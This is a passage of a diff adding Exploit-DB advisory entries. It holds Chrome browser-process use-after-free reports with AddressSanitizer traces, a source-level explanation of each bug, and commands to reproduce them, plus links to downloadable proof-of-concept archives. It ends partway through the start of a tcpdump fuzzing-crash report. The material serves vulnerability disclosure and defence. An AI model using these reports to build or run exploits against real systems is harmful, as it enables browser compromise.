0x0c3a80039be0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c3a80039bf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c3a80039c00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c3a80039c10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
=>0x0c3a80039c20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd
|
||||
0x0c3a80039c30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c3a80039c40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c3a80039c50: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa
|
||||
0x0c3a80039c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x0c3a80039c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==133162==ABORTING
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46473.zip
|
162
exploits/multiple/dos/46474.txt
Normal file
162
exploits/multiple/dos/46474.txt
Normal file
|
@ -0,0 +1,162 @@
|
|||
There's an object-lifetime issue in the browser process in the handling of P2PSocketDispatcherHost binding in parallel with OnBloatedRenderer event handling.
|
||||
|
||||
In RenderProcessHostImpl, we have a unique_ptr owning a P2PSocketDispatcherHost, which we bind to an interface using base::Unretained (in CreateMessageFilters).
|
||||
|
||||
However, in handling the OnRendererIsBloated event, we might reinitialise the RenderProcessHostImpl, without destroying it, causing the P2PSocketDispatcherHost to be immediately free'd without waiting for the IO threads to be joined, as would happen during destruction of the RenderProcessHostImpl. At this point we haven't necessarily stopped all handling of incoming Mojo messages, and it appears to be possible for messages from the existing queues to still be processed while the RenderProcessHostImpl is reinitialised.
|
||||
|
||||
This results in a use-after-free of the P2PSocketDispatcherHost object.
|
||||
|
||||
To reproduce you need a local build of chrome; run the attached script
|
||||
|
||||
$ python ./copy_mojo_js_bindings.py /path/to/chrome/.../out/Asan/gen
|
||||
$ python -m SimpleHTTPServer&
|
||||
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist 'http://localhost:8000/index.html'
|
||||
|
||||
=================================================================
|
||||
==128425==ERROR: AddressSanitizer: heap-use-after-free on address 0x6100000b4948 at pc 0x55a27366e3b8 bp 0x7fffb36a7e10 sp 0x7fffb36a7e08
|
||||
READ of size 4 at 0x6100000b4948 thread T0 (chrome)
|
||||
#0 0x55a27366e3b7 in content::P2PSocketDispatcherHost::BindRequest(mojo::InterfaceRequest<network::mojom::P2PSocketManager>) content/browser/renderer_host/p2p/socket_dispatcher_host.cc:69:45
|
||||
#1 0x55a2736da324 in Invoke<void (content::P2PSocketDispatcherHost::*)(mojo::InterfaceRequest<network::mojom::P2PSocketManager>), content::P2PSocketDispatcherHost *, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:516:12
|
||||
#2 0x55a2736da324 in MakeItSo<void (content::P2PSocketDispatcherHost::*const &)(mojo::InterfaceRequest<network::mojom::P2PSocketManager>), content::P2PSocketDispatcherHost *, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:616
|
||||
#3 0x55a2736da324 in RunImpl<void (content::P2PSocketDispatcherHost::*const &)(mojo::InterfaceRequest<network::mojom::P2PSocketManager>), const std::__1::tuple<base::internal::UnretainedWrapper<content::P2PSocketDispatcherHost> > &, 0> base/bind_internal.h:689
|
||||
#4 0x55a2736da324 in base::internal::Invoker<base::internal::BindState<void (content::P2PSocketDispatcherHost::*)(mojo::InterfaceRequest<network::mojom::P2PSocketManager>), base::internal::UnretainedWrapper<content::P2PSocketDispatcherHost> >, void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>::Run(base::internal::BindStateBase*, mojo::InterfaceRequest<network::mojom::P2PSocketManager>&&) base/bind_internal.h:671
|
||||
#5 0x55a2736da9e6 in Run base/callback.h:129:12
|
||||
#6 0x55a2736da9e6 in content::RenderProcessHostImpl::InterfaceGetter<base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> >::GetInterfaceOnUIThread(base::WeakPtr<content::RenderProcessHostImpl>, base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> const&, mojo::InterfaceRequest<network::mojom::P2PSocketManager>) content/browser/renderer_host/render_process_host_impl.h:640
|
||||
#7 0x55a2736db717 in Invoke<void (*const &)(base::WeakPtr<content::RenderProcessHostImpl>, const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), const base::WeakPtr<content::RenderProcessHostImpl> &, const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:416:12
|
||||
#8 0x55a2736db717 in MakeItSo<void (*const &)(base::WeakPtr<content::RenderProcessHostImpl>, const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), const base::WeakPtr<content::RenderProcessHostImpl> &, const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:616
|
||||
#9 0x55a2736db717 in RunImpl<void (*const &)(base::WeakPtr<content::RenderProcessHostImpl>, const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), const std::__1::tuple<base::WeakPtr<content::RenderProcessHostImpl>, base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> > &, 0, 1> base/bind_internal.h:689
|
||||
#10 0x55a2736db717 in base::internal::Invoker<base::internal::BindState<void (*)(base::WeakPtr<content::RenderProcessHostImpl>, base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> const&, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), base::WeakPtr<content::RenderProcessHostImpl>, base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> >, void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>::Run(base::internal::BindStateBase*, mojo::InterfaceRequest<network::mojom::P2PSocketManager>&&) base/bind_internal.h:671
|
||||
#11 0x55a2736db22d in Run base/callback.h:129:12
|
||||
#12 0x55a2736db22d in service_manager::CallbackBinder<network::mojom::P2PSocketManager>::RunCallback(base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> const&, mojo::InterfaceRequest<network::mojom::P2PSocketManager>) services/service_manager/public/cpp/interface_binder.h:69
|
||||
#13 0x55a2736db436 in Invoke<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:416:12
|
||||
#14 0x55a2736db436 in MakeItSo<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>, mojo::InterfaceRequest<network::mojom::P2PSocketManager> > base/bind_internal.h:616
|
||||
#15 0x55a2736db436 in RunImpl<void (*)(const base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> &, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), std::__1::tuple<base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>, mojo::InterfaceRequest<network::mojom::P2PSocketManager> >, 0, 1> base/bind_internal.h:689
|
||||
#16 0x55a2736db436 in base::internal::Invoker<base::internal::BindState<void (*)(base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)> const&, mojo::InterfaceRequest<network::mojom::P2PSocketManager>), base::RepeatingCallback<void (mojo::InterfaceRequest<network::mojom::P2PSocketManager>)>, mojo::InterfaceRequest<network::mojom::P2PSocketManager> >, void ()>::RunOnce(base::internal::BindStateBase*) base/bind_internal.h:658
|
||||
#17 0x55a278ad1171 in Run base/callback.h:99:12
|
||||
#18 0x55a278ad1171 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
|
||||
#19 0x55a278ace945 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
|
||||
#20 0x55a278acfc09 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
|
||||
#21 0x55a278acfc09 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
|
||||
#22 0x55a278ad7107 in base::MessagePumpGlib::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_glib.cc:309:49
|
||||
#23 0x55a278b469b1 in base::RunLoop::Run() base/run_loop.cc:102:14
|
||||
#24 0x55a277df8c26 in ChromeBrowserMainParts::MainMessageLoopRun(int*) chrome/browser/chrome_browser_main.cc:1865:15
|
||||
#25 0x55a272b85d7b in content::BrowserMainLoop::RunMainMessageLoopParts() content/browser/browser_main_loop.cc:999:29
|
||||
#26 0x55a272b8d8c5 in content::BrowserMainRunnerImpl::Run() content/browser/browser_main_runner_impl.cc:165:15
|
||||
#27 0x55a272b7cc06 in content::BrowserMain(content::MainFunctionParams const&) content/browser/browser_main.cc:47:28
|
||||
#28 0x55a277c7d497 in RunBrowserProcessMain content/app/content_main_runner_impl.cc:543:10
|
||||
#29 0x55a277c7d497 in content::ContentMainRunnerImpl::RunServiceManager(content::MainFunctionParams&, bool) content/app/content_main_runner_impl.cc:941
|
||||
#30 0x55a277c7c8f1 in content::ContentMainRunnerImpl::Run(bool) content/app/content_main_runner_impl.cc:866:12
|
||||
#31 0x55a277d99fcb in service_manager::Main(service_manager::MainParams const&) services/service_manager/embedder/main.cc:472:29
|
||||
#32 0x55a277c77c32 in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:19:10
|
||||
#33 0x55a26f8cdd17 in ChromeMain chrome/app/chrome_main.cc:102:12
|
||||
#34 0x7fbbe44dd2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
|
||||
|
||||
0x6100000b4948 is located 8 bytes inside of 184-byte region [0x6100000b4940,0x6100000b49f8)
|
||||
freed by thread T0 (chrome) here:
|
||||
#0 0x55a26f8cb852 in operator delete(void*) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:167:3
|
||||
#1 0x55a27368390c in operator() buildtools/third_party/libc++/trunk/include/memory:2325:5
|
||||
#2 0x55a27368390c in reset buildtools/third_party/libc++/trunk/include/memory:2638
|
||||
#3 0x55a27368390c in operator= buildtools/third_party/libc++/trunk/include/memory:2504
|
||||
#4 0x55a27368390c in content::RenderProcessHostImpl::CreateMessageFilters() content/browser/renderer_host/render_process_host_impl.cc:2017
|
||||
#5 0x55a273681f15 in content::RenderProcessHostImpl::Init() content/browser/renderer_host/render_process_host_impl.cc:1786:3
|
||||
#6 0x55a273134e4d in InitRenderView content/browser/frame_host/render_frame_host_manager.cc:1910:40
|
||||
#7 0x55a273134e4d in content::RenderFrameHostManager::ReinitializeRenderFrame(content::RenderFrameHostImpl*) content/browser/frame_host/render_frame_host_manager.cc:2067
|
||||
#8 0x55a2731335d7 in content::RenderFrameHostManager::GetFrameHostForNavigation(content::NavigationRequest const&) content/browser/frame_host/render_frame_host_manager.cc:636:10
|
||||
#9 0x55a273132601 in content::RenderFrameHostManager::DidCreateNavigationRequest(content::NavigationRequest*) content/browser/frame_host/render_frame_host_manager.cc:478:35
|
||||
#10 0x55a273009398 in content::FrameTreeNode::CreatedNavigationRequest(std::__1::unique_ptr<content::NavigationRequest, std::__1::default_delete<content::NavigationRequest> >) content/browser/frame_host/frame_tree_node.cc:397:21
|
||||
#11 0x55a273086af2 in content::NavigatorImpl::Navigate(std::__1::unique_ptr<content::NavigationRequest, std::__1::default_delete<content::NavigationRequest> >, content::ReloadType, content::RestoreType) content/browser/frame_host/navigator_impl.cc:357:20
|
||||
#12 0x55a273025541 in content::NavigationControllerImpl::NavigateToExistingPendingEntry(content::ReloadType) content/browser/frame_host/navigation_controller_impl.cc:2397:25
|
||||
#13 0x55a2730244a3 in content::NavigationControllerImpl::Reload(content::ReloadType, bool) content/browser/frame_host/navigation_controller_impl.cc:601:5
|
||||
#14 0x55a2807c96f4 in BloatedRendererTabHelper::OnRendererIsBloated(content::WebContents*, resource_coordinator::PageNavigationIdentity const&) chrome/browser/ui/bloated_renderer/bloated_renderer_tab_helper.cc:141:39
|
||||
#15 0x55a278307351 in void resource_coordinator::PageSignalReceiver::NotifyObserversIfKnownCu<void (resource_coordinator::PageSignalObserver::*)(content::WebContents*, resource_coordinator::PageNavigationIdentity const&)>(resource_coordinator::PageNavigationIdentity const&, void (resource_coordinator::PageSignalObserver::*)(content::WebContents*, resource_coordinator::PageNavigationIdentity const&)) chrome/browser/resource_coordinator/page_signal_receiver.cc:142:5
|
||||
#16 0x55a27d90b67b in resource_coordinator::mojom::PageSignalReceiverStubDispatch::Accept(resource_coordinator::mojom::PageSignalReceiver*, mojo::Message*) gen/services/resource_coordinator/public/mojom/page_signal.mojom.cc:412:13
|
||||
#17 0x55a278de642e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:423:32
|
||||
#18 0x55a278df85dd in mojo::internal::MultiplexRouter::ProcessIncomingMessage(mojo::internal::MultiplexRouter::MessageWrapper*, mojo::internal::MultiplexRouter::ClientCallBehavior, base::SequencedTaskRunner*) mojo/public/cpp/bindings/lib/multiplex_router.cc:869:42
|
||||
#19 0x55a278df6ce7 in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:590:38
|
||||
#20 0x55a278de1f45 in mojo::Connector::ReadSingleMessage(unsigned int*) mojo/public/cpp/bindings/lib/connector.cc:476:51
|
||||
#21 0x55a278de3728 in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:505:10
|
||||
#22 0x55a278e34ca1 in Run base/callback.h:129:12
|
||||
#23 0x55a278e34ca1 in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:273
|
||||
#24 0x55a278ad1171 in Run base/callback.h:99:12
|
||||
#25 0x55a278ad1171 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask*) base/debug/task_annotator.cc:99
|
||||
#26 0x55a278ace945 in base::MessageLoopImpl::RunTask(base::PendingTask*) base/message_loop/message_loop_impl.cc:374:46
|
||||
#27 0x55a278acfc09 in DeferOrRunPendingTask base/message_loop/message_loop_impl.cc:385:5
|
||||
#28 0x55a278acfc09 in base::MessageLoopImpl::DoWork() base/message_loop/message_loop_impl.cc:473
|
||||
#29 0x55a278ad7a06 in HandleDispatch base/message_loop/message_pump_glib.cc:263:25
|
||||
#30 0x55a278ad7a06 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:109
|
||||
#31 0x7fbbe93dbfc6 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4afc6)
|
||||
|
||||
previously allocated by thread T0 (chrome) here:
|
||||
#0 0x55a26f8cac12 in operator new(unsigned long) /b/swarming/w/ir/kitchen-workdir/src/third_party/llvm/compiler-rt/lib/asan/asan_new_delete.cc:106:3
|
||||
#1 0x55a273683896 in make_unique<content::P2PSocketDispatcherHost, int> buildtools/third_party/libc++/trunk/include/memory:3118:28
|
||||
#2 0x55a273683896 in content::RenderProcessHostImpl::CreateMessageFilters() content/browser/renderer_host/render_process_host_impl.cc:2018
|
||||
#3 0x55a273681f15 in content::RenderProcessHostImpl::Init() content/browser/renderer_host/render_process_host_impl.cc:1786:3
|
||||
#4 0x55a273134e4d in InitRenderView content/browser/frame_host/render_frame_host_manager.cc:1910:40
|
||||
#5 0x55a273134e4d in content::RenderFrameHostManager::ReinitializeRenderFrame(content::RenderFrameHostImpl*) content/browser/frame_host/render_frame_host_manager.cc:2067
|
||||
#6 0x55a2731335d7 in content::RenderFrameHostManager::GetFrameHostForNavigation(content::NavigationRequest const&) content/browser/frame_host/render_frame_host_manager.cc:636:10
|
||||
#7 0x55a273132601 in content::RenderFrameHostManager::DidCreateNavigationRequest(content::NavigationRequest*) content/browser/frame_host/render_frame_host_manager.cc:478:35
|
||||
#8 0x55a273009398 in content::FrameTreeNode::CreatedNavigationRequest(std::__1::unique_ptr<content::NavigationRequest, std::__1::default_delete<content::NavigationRequest> >) content/browser/frame_host/frame_tree_node.cc:397:21
|
||||
#9 0x55a273086af2 in content::NavigatorImpl::Navigate(std::__1::unique_ptr<content::NavigationRequest, std::__1::default_delete<content::NavigationRequest> >, content::ReloadType, content::RestoreType) content/browser/frame_host/navigator_impl.cc:357:20
|
||||
#10 0x55a273028f47 in content::NavigationControllerImpl::NavigateWithoutEntry(content::NavigationController::LoadURLParams const&) content/browser/frame_host/navigation_controller_impl.cc:2604:22
|
||||
#11 0x55a273027e77 in content::NavigationControllerImpl::LoadURLWithParams(content::NavigationController::LoadURLParams const&) content/browser/frame_host/navigation_controller_impl.cc:876:3
|
||||
#12 0x55a280a1eeeb in (anonymous namespace)::LoadURLInContents(content::WebContents*, GURL const&, NavigateParams*) chrome/browser/ui/browser_navigator.cc:346:36
|
||||
#13 0x55a280a1c9fd in Navigate(NavigateParams*) chrome/browser/ui/browser_navigator.cc:616:9
|
||||
#14 0x55a280ab5aee in StartupBrowserCreatorImpl::OpenTabsInBrowser(Browser*, bool, std::__1::vector<StartupTab, std::__1::allocator<StartupTab> > const&) chrome/browser/ui/startup/startup_browser_creator_impl.cc:474:5
|
||||
#15 0x55a280ab87b2 in StartupBrowserCreatorImpl::RestoreOrCreateBrowser(std::__1::vector<StartupTab, std::__1::allocator<StartupTab> > const&, StartupBrowserCreatorImpl::BrowserOpenBehavior, unsigned int, bool, bool) chrome/browser/ui/startup/startup_browser_creator_impl.cc:762:13
|
||||
#16 0x55a280ab4b3f in StartupBrowserCreatorImpl::DetermineURLsAndLaunch(bool, std::__1::vector<GURL, std::__1::allocator<GURL> > const&) chrome/browser/ui/startup/startup_browser_creator_impl.cc:639:22
|
||||
#17 0x55a280ab388d in StartupBrowserCreatorImpl::Launch(Profile*, std::__1::vector<GURL, std::__1::allocator<GURL> > const&, bool) chrome/browser/ui/startup/startup_browser_creator_impl.cc:369:5
|
||||
#18 0x55a280aa9511 in StartupBrowserCreator::LaunchBrowser(base::CommandLine const&, Profile*, base::FilePath const&, chrome::startup::IsProcessStartup, chrome::startup::IsFirstRun) chrome/browser/ui/startup/startup_browser_creator.cc:350:13
|
||||
#19 0x55a280aafae0 in StartupBrowserCreator::ProcessLastOpenedProfiles(base::CommandLine const&, base::FilePath const&, chrome::startup::IsProcessStartup, chrome::startup::IsFirstRun, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:845:10
|
||||
#20 0x55a280aaf23f in StartupBrowserCreator::LaunchBrowserForLastProfiles(base::CommandLine const&, base::FilePath const&, bool, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:774:10
|
||||
#21 0x55a280aa8d4e in StartupBrowserCreator::ProcessCmdLineImpl(base::CommandLine const&, base::FilePath const&, bool, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:726:10
|
||||
#22 0x55a280aa7c3b in StartupBrowserCreator::Start(base::CommandLine const&, base::FilePath const&, Profile*, std::__1::vector<Profile*, std::__1::allocator<Profile*> > const&) chrome/browser/ui/startup/startup_browser_creator.cc:304:10
|
||||
#23 0x55a277df644e in ChromeBrowserMainParts::PreMainMessageLoopRunImpl() chrome/browser/chrome_browser_main.cc:1749:25
|
||||
#24 0x55a277df3987 in ChromeBrowserMainParts::PreMainMessageLoopRun() chrome/browser/chrome_browser_main.cc:1175:18
|
||||
#25 0x55a272b85a46 in content::BrowserMainLoop::PreMainMessageLoopRun() content/browser/browser_main_loop.cc:983:13
|
||||
#26 0x55a273a0ccb5 in Run base/callback.h:129:12
|
||||
#27 0x55a273a0ccb5 in content::StartupTaskRunner::RunAllTasksNow() content/browser/startup_task_runner.cc:41
|
||||
#28 0x55a272b82222 in content::BrowserMainLoop::CreateStartupTasks() content/browser/browser_main_loop.cc:917:25
|
||||
#29 0x55a272b8cd24 in content::BrowserMainRunnerImpl::Initialize(content::MainFunctionParams const&) content/browser/browser_main_runner_impl.cc:144:15
|
||||
#30 0x55a272b7cbc1 in content::BrowserMain(content::MainFunctionParams const&) content/browser/browser_main.cc:43:32
|
||||
#31 0x55a277c7d497 in RunBrowserProcessMain content/app/content_main_runner_impl.cc:543:10
|
||||
#32 0x55a277c7d497 in content::ContentMainRunnerImpl::RunServiceManager(content::MainFunctionParams&, bool) content/app/content_main_runner_impl.cc:941
|
||||
#33 0x55a277c7c8f1 in content::ContentMainRunnerImpl::Run(bool) content/app/content_main_runner_impl.cc:866:12
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-use-after-free content/browser/renderer_host/p2p/socket_dispatcher_host.cc:69:45 in content::P2PSocketDispatcherHost::BindRequest(mojo::InterfaceRequest<network::mojom::P2PSocketManager>)
|
||||
Shadow bytes around the buggy address:
|
||||
0x0c208000e8d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c208000e8e0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
|
||||
0x0c208000e8f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
|
||||
0x0c208000e900: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||
0x0c208000e910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||
=>0x0c208000e920: fa fa fa fa fa fa fa fa fd[fd]fd fd fd fd fd fd
|
||||
0x0c208000e930: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
|
||||
0x0c208000e940: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
|
||||
0x0c208000e950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x0c208000e960: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
|
||||
0x0c208000e970: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
Shadow gap: cc
|
||||
==128425==ABORTING
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46474.zip
|
53
exploits/multiple/dos/46475.txt
Normal file
53
exploits/multiple/dos/46475.txt
Normal file
|
@ -0,0 +1,53 @@
|
|||
There's a use-after-free in the implementation of the FileWriter component of the mojo bindings for the filesystem API.
|
||||
|
||||
The browser-process side of this API is defined in https://cs.chromium.org/chromium/src/third_party/blink/public/mojom/filesystem/file_writer.mojom?type=cs&sq=package:chromium&g=0
|
||||
|
||||
The method we are interested in is the Write method - this takes a parameter of type blink.mojom.Blob. The implementation of this method is as follows:
|
||||
|
||||
void FileWriterImpl::Write(uint64_t position,
|
||||
blink::mojom::BlobPtr blob,
|
||||
WriteCallback callback) {
|
||||
blob_context_->GetBlobDataFromBlobPtr(
|
||||
std::move(blob),
|
||||
base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
|
||||
std::move(callback), position));
|
||||
}
|
||||
|
||||
Note that the last argument to GetBlobDataFromBlobPtr is a callback object bound to base::Unretained(this).
|
||||
|
||||
And the implementation of GetBlobDataFromBlobPtr:
|
||||
|
||||
void BlobStorageContext::GetBlobDataFromBlobPtr(
|
||||
blink::mojom::BlobPtr blob,
|
||||
base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback) {
|
||||
DCHECK(blob);
|
||||
blink::mojom::Blob* raw_blob = blob.get();
|
||||
raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
|
||||
base::BindOnce(
|
||||
[](blink::mojom::BlobPtr, base::WeakPtr<BlobStorageContext> context,
|
||||
base::OnceCallback<void(std::unique_ptr<BlobDataHandle>)> callback,
|
||||
const std::string& uuid) {
|
||||
if (!context || uuid.empty()) {
|
||||
std::move(callback).Run(nullptr);
|
||||
return;
|
||||
}
|
||||
std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
|
||||
},
|
||||
std::move(blob), AsWeakPtr(), std::move(callback)),
|
||||
""));
|
||||
}
|
||||
|
||||
However, the call to GetInternalUUID is a mojo interface method; and if the renderer instead of providing a handle to a browser-process-hosted Blob object instead provides a handle to a renderer-hosted Blob implementation, then during this call into the renderer we can destroy the renderer handle to the FileWriter, triggering the immediate destruction of the FileWriterImpl. When the callback is then subsequently called after GetInternalUUID returns, the base::Unretained reference to the stale object will be used.
|
||||
|
||||
|
||||
To reproduce you need a local build of chrome; run the attached script
|
||||
|
||||
$ python ./copy_mojo_js_bindings.py /path/to/chrome/.../out/Asan/gen
|
||||
$ python -m SimpleHTTPServer&
|
||||
$ out/Asan/chrome --enable-blink-features=MojoJS --user-data-dir=/tmp/nonexist 'http://localhost:8000/file_writer.html'
|
||||
|
||||
Note that this is *not* a renderer bug; it's a browser process bug that's reachable from the renderer. The attached poc is using the MojoJS bindings to trigger the issue, but a compromised renderer could perform the same actions without any special settings.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46475.zip
|
60
exploits/multiple/dos/46476.txt
Normal file
60
exploits/multiple/dos/46476.txt
Normal file
|
@ -0,0 +1,60 @@
|
|||
Through fuzzing of network capture .pcap files, we have identified 16 crashes with unique stack traces in tcpdump. These crashes are caused by heap-based out-of-bounds memory reads, and can be reproduced with the latest tcpdump source code from GitHub, compiled with AddressSanitizer:
|
||||
|
||||
--- cut ---
|
||||
$ ./tcpdump --version
|
||||
tcpdump version 4.10.0-PRE-GIT
|
||||
libpcap version 1.10.0-PRE-GIT (with TPACKET_V3)
|
||||
OpenSSL 1.1.0h 27 Mar 2018
|
||||
Compiled with AddressSanitizer/CLang.
|
||||
--- cut ---
|
||||
|
||||
The command line options we used are as follows:
|
||||
|
||||
--- cut ---
|
||||
$ ./tcpdump -e -XX -vvv -R $file
|
||||
--- cut ---
|
||||
|
||||
A summary of each crash with the two top-level callstack items are shown below:
|
||||
|
||||
+----------------------------------+-------------------------------------------------------------------------+
|
||||
| Id | Top of stack trace |
|
||||
+----------------------------------+-------------------------------------------------------------------------+
|
||||
| 0c7293c683364afcf4d60f10fa296429 | #0 0x55fdd6 in EXTRACT_BE_U_4 tcpdump/./extract.h:98:26 |
|
||||
| | #1 0x55f43c in mfr_print tcpdump/./print-fr.c:498:17 |
|
||||
| 1092c136071deb2f21ddcde498353dfc | #0 0x773fb6 in EXTRACT_BE_U_4 tcpdump/./extract.h:98:26 |
|
||||
| | #1 0x774b8a in lmp_print_data_link_subobjs tcpdump/./print-lmp.c:411:6 |
|
||||
| 472984168e31d86fcc3a2cf9b5ac1ddc | #0 0x7c5666 in EXTRACT_BE_U_4 tcpdump/./extract.h:98:26 |
|
||||
| | #1 0x7e440e in rx_cache_find tcpdump/./print-rx.c:735:27 |
|
||||
| 55dca8197d3a7e5900df99c60db2821a | #0 0x73b2cb in rpl_printopts tcpdump/./print-icmp6.c:824:27 |
|
||||
| | #1 0x73af8b in rpl_daoack_print tcpdump/./print-icmp6.c:952:17 |
|
||||
| 5966513c685d91c5dc5edb42e5191ed4 | #0 0x7b975b in print_attr_vector64 tcpdump/./print-radius.c:1044:4 |
|
||||
| | #1 0x7b349e in radius_attrs_print tcpdump/./print-radius.c:1199:18 |
|
||||
